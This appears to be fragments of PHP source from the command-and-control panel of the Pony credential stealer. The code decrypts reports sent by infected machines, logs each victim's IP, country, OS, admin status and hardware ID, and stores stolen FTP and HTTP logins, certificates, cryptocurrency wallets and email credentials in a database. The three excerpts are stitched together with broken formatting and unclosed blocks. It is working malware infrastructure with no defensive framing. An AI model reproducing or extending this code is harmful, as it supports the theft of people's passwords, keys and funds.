$report_status_ok = false; $ip_country = geo_ip_country_code($ip); $report_new_encryption = false; // check if new random encryption is used if (report_parser::verify_new_file_header($received_report_data)) { $report_new_encryption = true; } if (report_parser::check_report_crypted_header($received_report_data) || report_parser::verify_new_file_header($received_report_data)) { // try to pre-decrypt report data report_parser::pre_decrypt_report($received_report_data, $pony_db_report_password); } // add non parsed report $report_id = $pony_db->add_nonparsed_report($ip, $ip_country, $received_report_data); if ($report_id) { // there's new report available for parsing $report = new report_parser($pony_report_options); // process report ob_start(); // detect report processing noise error_reporting(E_ALL); $parse_result = $report->process_report($received_report_data, $pony_db_report_password); $ob_data = trim(ob_get_contents()); error_reporting(0); ob_end_clean(); if ($parse_result) { $report_status_ok = true; if ($enable_http_mode) { $url_list_array = array_merge($report->ftp_lines, $report->http_lines); } else { $url_list_array = $report->ftp_lines; }
function get_email_list($raw_output, &$email_list = null, $limit_count = 0, $protocol = '', $offset = 0) { $offset = intval($offset); $limit_count = intval($limit_count); $protocol = trim($protocol); if (!$this->state || $limit_count < 0 || $offset < 0) { return false; } $where = "WHERE email_id >= '" . mysql_real_escape_string($offset) . "'"; if (strlen($protocol)) { $where .= sprintf("AND protocol='%s'", mysql_real_escape_string($protocol)); } if ($limit_count == 0) { $query = sprintf("SELECT * FROM " . CPONY_EMAIL_TABLE . " {$where} ORDER BY email_id DESC"); } else { $query = sprintf("SELECT * FROM " . CPONY_EMAIL_TABLE . " {$where} ORDER BY email_id DESC LIMIT %s", mysql_real_escape_string($limit_count)); } $result = mysql_query($query, $this->db_link); if (!$result) { $this->state = false; } else { while ($row = mysql_fetch_assoc($result)) { if (!$raw_output) { array_push($email_list, $row); } else { echo remove_zero_char(report_parser::flat_email_array($row)) . "\r\n"; } } return true; } return false; }
$pony_db->update_parsed_report($report_id, $report->report_os_name, $report->report_is_win64, $report->report_is_admin, $report->report_hwid, $report->report_version_id, $url_list_array, null, $report->cert_lines, $report->wallet_lines, $email_lines); if (!count($report->log->log_lines)) { $pony_db->report_remove_errors($report_id); } } $smarty->assign('parse_result', $parse_result); $smarty->assign('parse_new_ftp', $pony_db->get_report_linked_passwords_count($report_id) - $ftp_count_before_reparse + $pony_db->get_table_row_count(CPONY_CERT_TABLE) - $cert_count_before_reparse + $pony_db->get_table_row_count(CPONY_WALLET_TABLE) - $wallet_count_before_reparse + $pony_db->get_table_row_count(CPONY_EMAIL_TABLE) - $email_count_before_reparse); clear_floating_offsets($pony_db); } // enable debug mode global $global_verbose_log, $global_allow_all_ftp; $old_global_verbose_log = $global_verbose_log; $old_global_allow_all_ftp = $global_allow_all_ftp; $global_verbose_log = true; $global_allow_all_ftp = true; $report = new report_parser($pony_report_options); $parse_result = $report->process_report($report_item_result['data'], $pony_db_report_password); $log = $report->log->log_lines; $log_list = array(); foreach ($log as $log_list_item) { list($log_line, $log_extra) = $log_list_item; if (strpos($log_line, 'NOTIFY_NEW_HTTP:') !== false) { if ($enable_http_mode && ($show_http_to_users || $pony_db->priv_is_admin())) { array_push($log_list, array('log_line' => $log_line, 'log_extra' => $log_extra)); } } else { if (strpos($log_line, 'NOTIFY_NEW_EMAIL:') !== false) { if ($enable_email_mode && ($show_email_to_users || $pony_db->priv_is_admin())) { array_push($log_list, array('log_line' => $log_line, 'log_extra' => $log_extra)); } } else {